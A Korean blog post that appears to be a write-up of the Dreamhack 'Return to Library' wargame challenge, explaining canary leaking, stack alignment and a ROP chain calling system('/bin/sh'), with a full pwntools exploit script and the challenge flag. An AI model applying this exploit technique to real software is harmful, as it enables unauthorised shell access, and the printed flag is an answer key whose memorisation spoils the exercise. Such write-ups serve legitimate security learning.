본문 바로가기
hacking/pwnable

[Dream hack] Return to Library

by ilp 2024. 10. 18.
반응형

https://dreamhack.io/wargame/challenges/353

 

Return to Library

Description Exploit Tech: Return to Library에서 실습하는 문제입니다.

dreamhack.io



이게 코드이다.

이거를 보면 

👆여기서 카나리 값을 찾아내고

👆여기서 버퍼오버플로우하면 끝

 

근대

이거랑

이거를써가지구 할거 같다.

 

그럼 처음은?

바로 카나리 값 부터 찾아보자

이걸 보면 buf가 0x40이다. 그리고 카나리 값을 얻는건 전에 했으니까 간단히 넘길거다

buf 부터 rax까지 거리는 0x40이다.

근데 그러면 buf에서 카니리까지의 거리는 0x40-0x08=0x38이다.

그런데 카나리는 첫 문자가 null값이라서 0x38+0x01=0x39

 

그럼 바로 코드를 짜볼까?

이렇게 짤수 있다 마지막은 출력된 카나리 값에 null 을 추가해서 카나리값을 저장해주었다.

 

대망의 오버플로우

먼저 설계를 해보자

스택 프레임을 보자

(낮은 주소)  ↘
+--------------------+
| 지역 변수          | 
+--------------------+
| 더미값             | 
+--------------------+
| 카나리             | 
+--------------------+
| RBP                | 
+--------------------+
| 리턴 주소          | 
+--------------------+
| 매개변수           |
+--------------------+
(높은 주소)  ↗

이걸 우리가 채워 줄건데

 

지역변수~ 카나리까지는 구해서 덮어주면 되고
그 이후에 rbp 쓰레기 값으로 덮고

리턴주소는 pop rdi; ret;

그리고 마지막으로 bin/sh,system 으로 덮어준다.

 

작동 과정을 잠깐 설명하자면

rbp까지는 쉽고 그냥 덮는거고

 

이제는 pop rdi 부분부터 봐보자👇

1. pop rdi; ret 가젯 실

  • 스택에서 값을 꺼내서 rdi에 저장한다
  • bin/sh 문자열의 주소가 rdi에 들어감
  • 그리고 ret으로 다음 스택 값으로 이동한다 (system으로 이동)

2. system 함수 실행

  • ret이 호출 되고 system 함수 로 흐름이 이동하게 되면
  • system 함수는 rdi 의 값을 명령어 문자열로 사용해서 실행한다.
  • systme("bin/sh")

 

🔎설계한대로 찾기

먼저 이제 리턴 가젯을 찾자

ROPgadget --binary ./rtl --re "pop rdi"
이거 입력하면 찾을 수 있다

 

이제 system 함수의 주소와, bin/sh 문자열의 주소를 찾아보자

이렇게 해서 system의 주소를 찾는다.

 

👆 이건 binsh의 주소를 찾는 건데

search 명령어는 실행이 중단된 상태에서 사용할 수 있다 

그리고 참고로 search를 했을 때나온 bin/sh의 주소는 3개가 있느데

첫번쨰 것만 된다

두번째는 다른 코드들에 의해 주소가 바뀔가능성이 있따

세쨰ASLR이 적용되어 있으면 libc의 주소가 바뀌기 때문에 주소가 달라진다

 

 

설계한대로 하면 여기까지가 맞지만 

이렇게 하면 오류가 발생하게 된다ㅠㅠ😓

ret 가젯을 추가를 해줘야 하는데 자세한 이유는 아래를 보자👇

더보기

스택 정렬이라는걸 해야한다

x86-64 호출 규약(System V ABI)에 선 스택포인터(rsp)가 16바이트로 정렬되어야 한다고 한다

그런대 함수를 호출할 때마다 call 이라는 놈이 리턴 주소를 스택에 저장하는데

이 리턴주소가 8바이트라 스택 정렬이 깨지게 된다

아이구ㅠㅠㅠ

 

그래서 우리는 ret이라는 놈이 필요하다

ret은 스택 포인터 (rsp) 자동으로 조정하여 스택 정렬을 유지한다.

와우 어메이징!!

그래서 ret 가젯을 사용해서 스택 정렬을 해주어야 한다.

그럼 ret가젯의 주소를 찾아보자

아까 pop rdi;찾았을 떄 처럼 ROPgadget쓴다.

ROPgadget --binary ./rtl --re "ret"

그러면 이게 있고 우리는 ret가젯을 찾았따.

 

 

이러게 주소를 다 구했다면 이제는 아까 설계한대로 값을 보내주면 된다.
ret -> pop rdi -> bin/sh -> system 순으로 보내면 된다.

그런난다.

더보기

참고로 처음에 0x8의 값을 왜 주냐 궁금 할 수 있다

 

자 우리가 어떤 함수가 있다고 해보자 그럼 함수를 호출 시에 스택 프레임이 만들어지 는데 

(이건 다른대서 자세히 알아보고 )]

쨋든 자 이 스택 프레임이 어떻게 생겼냐

(낮은 주소)  ↘
+--------------------+
| 지역 변수          | 
+--------------------+
| RBP                | 
+--------------------+
| 리턴 주소          |  
+--------------------+
| 매개변수           |  
+--------------------+
(높은 주소)  ↗

요로코롬 생겼는데
여기서 지역변수 부분에는 카나리가있다고 하자

자 지역변수 부분은 카나리 합쳐서 b'c'*0x38+p64(pretty)
이걸로 채워졌고
rbp b'q'*0x8 로 더미값을 채워주는 것

[ 더미 데이터 ]       -- (지역 변수 덮기)
[ 더미 RBP 값 ]       -- (이전 RBP 덮기)
[ pop rdi; ret 주소 ] -- (리턴 주소 덮기)
[ /bin/sh 주소 ]      -- (pop rdi 가젯이 로드할 값)
[ system 주소 ]       -- (리턴 후 실행될 함수의 주소)

결과적으로 이렇게 되게 되겠지

 

전체 코드

from pwn import *

p=remote("host3.dreamhack.games",15353)

chuu=b'c'*0x39
p.sendafter(b'Buf: ',chuu)
p.recvuntil(chuu)
pretty=u64(b'\x00' + p.recvn(7))
print(pretty)

system_address = 0x4005d0
binsh=0x400874
pop_rdi = 0x0000000000400853
ret = 0x0000000000400285

pretty_chuu=b'c'*0x38+p64(pretty) + b'q'*0x8
pretty_chuu+=p64(ret)
pretty_chuu+=p64(pop_rdi)
pretty_chuu+=p64(binsh)
pretty_chuu+=p64(system_address)

p.sendafter(b'Buf: ',pretty_chuu)

p.interactive()
더보기
DH{13e0d0ddf0c71c0ac4410687c11e6b00}

 

 

참고

https://dreamhack.io/forum/qna/2608/

 

ret, pop rdi 가젯의 하는 역할이 무엇인가요?

어셈블리어에 대한 지식이 부족해서 질문 드립니다. 익스플로잇 코드에서 ret 영역에 의미 없는 ret 가젯을 넣어 0x10 단위로 정렬해주고 pop rdi 가젯을 찾아서 넣어주던데…

dreamhack.io

https://dreamhack.io/forum/qna/2919/

 

RTL 문제에서 아무 의미 없는 가젯 ret 를 추가하는 이유

이 강의에서 실습하는 문제에서 system의 가젯을 이용해서 공격할때 세그먼트 폴트가 발생할 수 있어서 8바이트를 미뤄주기 위해 아무 의미 없는 가젯을 추가한다고 했습니다. 제가 …

dreamhack.io

위에 두개를 보는것도 도움이 될 것 같다;.


반응형

'hacking > pwnable' 카테고리의 다른 글

[Dream hack] Quiz: PIE-1  (0) 2024.11.15
[Dream hack] rop  (0) 2024.10.30
[Dream hack] Memory Corruption: Format String Bug  (0) 2024.10.08
[Dream hack] out_of_bound  (0) 2024.10.07
[Dream hack] welcome  (0) 2024.10.06